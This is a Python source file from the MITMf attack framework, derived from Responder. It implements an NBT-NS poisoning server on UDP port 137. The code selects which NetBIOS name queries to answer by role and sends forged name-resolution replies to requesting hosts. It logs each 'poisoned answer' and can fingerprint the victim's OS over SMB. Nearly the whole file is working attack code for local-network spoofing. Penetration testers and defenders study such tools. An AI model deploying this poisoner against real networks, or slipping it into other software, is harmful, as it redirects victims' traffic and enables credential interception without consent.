byt3bl33d3r/MITMf

#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
import socket
import threading
import core.responder.settings as settings
import core.responder.fingerprint as fingerprint

from core.responder.packets import NBT_Ans
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
from core.responder.utils import *

def start():
    try:
        server = ThreadingUDPServer(('', 137), NBTNSServer)
        t = threading.Thread(name='NBTNS', target=server.serve_forever)
        t.setDaemon(True)
        t.start()
    except Exception as e:
        print "Error starting NBTNS server on port 137: {}".format(e)

class ThreadingUDPServer(ThreadingMixIn, UDPServer):
    
    allow_reuse_address = 1

    def server_bind(self):
        if OsInterfaceIsSupported():
            try:
                self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
            except:
                pass
        UDPServer.server_bind(self)

# Define what are we answering to.
def Validate_NBT_NS(data):
    if settings.Config.AnalyzeMode:
        return False

    if NBT_NS_Role(data[43:46]) == "File Server":
        return True

    if settings.Config.NBTNSDomain == True:
        if NBT_NS_Role(data[43:46]) == "Domain Controller":
            return True

    if settings.Config.Wredirect == True:
        if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
            return True

    else:
        return False

# NBT_NS Server class.
class NBTNSServer(BaseRequestHandler):

    def handle(self):

        data, socket = self.request
        Name = Decode_Name(data[13:45])

        # Break out if we don't want to respond to this host
        if RespondToThisHost(self.client_address[0], Name) is not True:
            return None

        if data[2:4] == "\x01\x10":

            if settings.Config.Finger_On_Off:
                Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
            else:
                Finger = None

            # Analyze Mode
            if settings.Config.AnalyzeMode:
                settings.Config.AnalyzeLogger.warning("{} [Analyze mode: NBT-NS] Request for {}, ignoring".format(self.client_address[0], Name))

            # Poisoning Mode
            else:
                Buffer = NBT_Ans()
                Buffer.calculate(data)
                socket.sendto(str(Buffer), self.client_address)

                settings.Config.PoisonersLogger.warning("{} [NBT-NS] Poisoned answer for name {} (service: {})" .format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))

            if Finger is not None:
                settings.Config.ResponderLogger.info("[FINGER] OS Version     : {}".format(Finger[0]))
                settings.Config.ResponderLogger.info("[FINGER] Client Version : {}".format(Finger[1]))